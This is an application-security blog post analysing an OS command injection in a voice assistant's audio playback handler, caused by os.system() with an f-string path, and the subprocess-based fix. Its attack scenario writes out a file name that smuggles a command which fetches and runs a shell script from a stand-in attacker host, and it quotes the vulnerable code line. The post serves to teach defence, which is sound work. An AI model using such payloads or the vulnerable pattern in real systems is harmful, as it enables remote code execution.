Back to Blog
critical SEVERITY4 min read

Voice Assistant Command Injection via os.system() f-String

A critical command injection vulnerability in a voice assistant's audio playback handler allowed attackers to execute arbitrary shell commands by manipulating file paths passed to os.system(). The fix replaces shell invocation with subprocess calls and direct OS APIs, eliminating shell metacharacter interpretation entirely.

O
By Orbis AppSec
Published September 16, 2026Reviewed September 16, 2026

Answer Summary

A voice assistant's audio playback handler used os.system() with f-string interpolated file paths, allowing attackers to inject shell commands through environment variables (TEMP/TMP) or symlink manipulation. An attacker could execute arbitrary commands with the service's privileges by crafting a malicious file path containing shell metacharacters. The fix replaces os.system() with subprocess.Popen() on Unix and os.startfile() on Windows, both of which bypass shell parsing. CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Vulnerability at a Glance

cweCWE-78
fixReplace os.system() with subprocess.Popen() and os.startfile()
riskRemote code execution with service privileges
languagePython
root causeFile path passed directly to os.system() without shell escaping
vulnerabilityOS Command Injection

When Shell Parsing Becomes a Security Hole

A web service that processes voice requests and plays back synthesized audio seems straightforward: fetch text-to-speech output, save it to a temporary file, then play it back to the user. But a single line of code in the audio playback path—a call to os.system() with an f-string—created a critical command injection vulnerability.

The vulnerable code pattern was simple but dangerous:

os.system(f'start "" "{out}"' if os.name == "nt" else f'mpg123 "{out}" >/dev/null 2>&1 &')

The out variable contains a file path. By passing it directly into an f-string that constructs a shell command, the code invited shell metacharacter interpretation. An attacker who could influence the file path—through TEMP environment variable manipulation, symlink creation, or other means—could inject arbitrary shell commands.

Affected Versions

Affected not applicable (first-party code)
Fixed in not applicable (first-party code)
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Why This Pattern Is Dangerous

os.system() passes its argument directly to /bin/sh (or cmd.exe on Windows), which parses shell syntax before execution. Any shell metacharacters in the string—$, `, |, ;, &, >, <, (, ), etc.—are interpreted as command operators, not data.

Attack scenario:

  1. A service writes TTS output to /tmp/ based on a user-supplied ID.
  2. An attacker sets the TEMP environment variable to /tmp/attacker_controlled/.
  3. The attacker creates a file or symlink named /tmp/attacker_controlled/output$(curl http://attacker.com/shell.sh | sh).mp3.
  4. When the service constructs the os.system() call with this path, the shell expands $(...) and executes the attacker's script with the service's privileges.

This is a remote code execution vulnerability in a production web service: every request that triggers audio playback could execute attacker-controlled code.

The Fix: Bypass the Shell Entirely

The fix replaces shell invocation with direct subprocess execution and native OS APIs:

if os.name == "nt":
    os.startfile(out)
else:
    subprocess.Popen(["mpg123", out], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

Why this works:

  • Windows: os.startfile() launches the file with its associated application (the default audio player) without invoking a shell. The file path is passed directly to the OS.
  • Unix: subprocess.Popen() with a list argument (not a shell command string) invokes the executable directly, passing each list element as a separate argument. No shell parsing occurs; the file path is data, not syntax.

In both cases, shell metacharacters in the file path are treated as literal characters. A path like /tmp/output$(whoami).mp3 is passed to mpg123 as-is, and mpg123 treats it as a filename, not a command.

Additional Hardening: URL Validation

The fix also adds validation to the ask_api() function:

if not base_url.startswith(("http://", "https://")):
    return "[API 调用失败] 仅支持 http/https 后端地址", ""

This prevents protocol confusion attacks where an attacker might pass a malicious backend address (e.g., file://, gopher://) that could trigger unexpected behavior or information disclosure. It's a defense-in-depth measure that ensures the API client only connects to web services.

Key Takeaways

  • Never use os.system() with user-influenced data. Even if you believe the data is "just a file path," shell parsing can be exploited. Use subprocess.run() or subprocess.Popen() with a list argument instead.
  • On Windows, prefer os.startfile() for launching associated applications. It's faster, simpler, and avoids subprocess overhead entirely while remaining injection-safe.
  • On Unix, always pass subprocess arguments as a list, never as a string with shell=True. The list form bypasses shell parsing; the string form does not, even with shell=False if you later change the code.
  • Validate downstream URLs and paths at trust boundaries. The ask_api() URL check prevents protocol confusion; similar checks should apply anywhere untrusted input shapes a system call.
  • Temporary file paths are not safe input. TEMP and TMP environment variables are user-controlled on many systems; attackers can set them to directories they control or create symlinks within them.

How Orbis AppSec Detected This

Source: The file path returned from TTS synthesis (out variable) and passed to the audio playback handler.

Sink: The os.system() call with f-string interpolation on line 56 (vulnerable version).

Missing control: No shell escaping (e.g., shlex.quote()) and no use of non-shell subprocess APIs.

CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Fix: Replace os.system() with subprocess.Popen() (Unix) and os.startfile() (Windows), both of which invoke executables directly without shell parsing.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection vulnerabilities thrive in the gap between code and shell syntax. By using os.system() with untrusted data—even data as mundane as a file path—developers create an unexpected trust boundary: the shell. Modern Python provides safer alternatives (subprocess.run(), os.startfile()) that execute code directly, without parsing. The fix here is a reminder that file paths and other "data-like" strings are not immune to injection when passed to shell-invoking functions. Always ask: does this function invoke a shell? If yes, never pass user-influenced data to it without explicit shell escaping or, better, without using an API that doesn't parse shell syntax at all.

Prevention and further reading

Frequently Asked Questions

Could an attacker inject commands into the audio file path before the os.system() call?

Yes. If the service accepts user input that influences the TEMP directory or creates symlinks there, an attacker could craft a path like `/tmp/evil$(whoami).mp3` which os.system() would parse and execute. The subprocess fix receives the path as a direct argument, not as shell syntax.

Does the base_url validation in ask_api() prevent similar injection attacks in API calls?

No—that validation checks URL scheme safety but doesn't relate to the audio playback injection. However, it does prevent protocol confusion attacks where an attacker might pass a malicious backend address. The two fixes target different injection vectors.

Why use os.startfile() on Windows instead of subprocess everywhere?

os.startfile() is the native Windows API for launching associated applications (like the default audio player); it's faster and more direct than spawning a subprocess with `start`. subprocess.Popen() is used on Unix because there is no equivalent—it's the correct cross-platform approach.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1

Related Articles

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How shell injection happens in GitHub Actions workflows and how to fix it

A composite GitHub Action in `.github/actions/design-health/action.yml` interpolated `inputs.path`, `inputs.verbose`, and other values directly into `run:` shell scripts using `${{ ... }}` syntax. Because these values are substituted as raw text before the shell ever runs, an attacker-influenced input could inject arbitrary shell commands into the CI runner. The fix moves every interpolated value into `env:` blocks so the shell treats them as data, not code.

high

How command injection happens in Java ProcessBuilder and how to fix it

The `efw` framework exposes OS command execution to application code through `CmdManager.execute(String[] params)`, which passed its parameter array straight into `new ProcessBuilder(...)` at `CmdManager.java:25` with no validation and no documented trust boundary. Because `params` is commonly assembled in event JavaScript from HTTP request parameters — often via string concatenation — the call site was a ready-made command and argument injection primitive. The fix adds explicit parameter valida

critical

How Command Injection Vulnerabilities Happen in Python Subprocess Calls and How to Fix Them

A critical command injection vulnerability was discovered in `src/unused/server/fft.py` where external binaries like `oggenc` and `cocoa_text` were executed with file path parameters that could be manipulated by user input. Although `shell=False` was used, the lack of input validation allowed attackers to potentially trigger processing of arbitrary files or cause denial of service. This fix implements proper path validation to prevent exploitation.

critical

How API Key Exposure and Unsafe Process Spawning Happens in Node.js Scripts and How to Fix It

A critical security vulnerability in the `scripts/close-issues.mjs` file exposed API key patterns in documentation and used unsafe `spawnSync` calls to execute curl commands. The fix replaces dangerous process spawning with native `fetch()` API calls and removes sensitive configuration examples from documentation, eliminating both credential exposure and command injection risks.

critical

`requests.get()`/`delete()`/`post()` with `verify=False` in Release

A critical security vulnerability in a release automation script disabled SSL certificate verification on every HTTPS request to GitHub's API. By passing `verify=False` to `requests.get()`, `requests.delete()`, and `requests.post()`, the script exposed OAuth tokens and release binaries to man-in-the-middle attacks on any network the script ran from.